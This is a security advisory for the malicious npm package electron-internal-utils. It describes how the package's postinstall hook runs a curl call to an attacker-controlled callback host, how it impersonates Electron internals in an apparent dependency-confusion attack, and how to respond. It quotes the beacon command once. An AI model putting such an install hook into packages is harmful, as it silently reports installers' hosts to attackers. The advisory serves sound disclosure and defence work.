electron-internal-utilsnpm
Advisory published Updated
electron-internal-utils is a confirmed malicious npm package (MAL-2026-6186) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in electron-internal-utils (npm)
What this malware does
On npm install, package.json's postinstall script executes curl http://9ph8dp.ceye.io, an out-of-band DNS/HTTP interaction service controlled by the package author. The callback signals the attacker that the package was installed on the host and leaks the installer's public IP and DNS resolver metadata. The package ships no functionality (index.js contains only module.exports = {};) and its name impersonates the Electron project's internal-utilities namespace, consistent with a dependency-confusion attack against projects that reference internal Electron helpers. Any environment that runs npm install on this package will silently beacon to attacker-controlled infrastructure.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for electron-internal-utils (version 1.0.0).
If you installed it — respond
electron-internal-utils establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If electron-internal-utils was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- ReversingLabs · finder
Detect & block this
O3 blocks electron-internal-utils-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.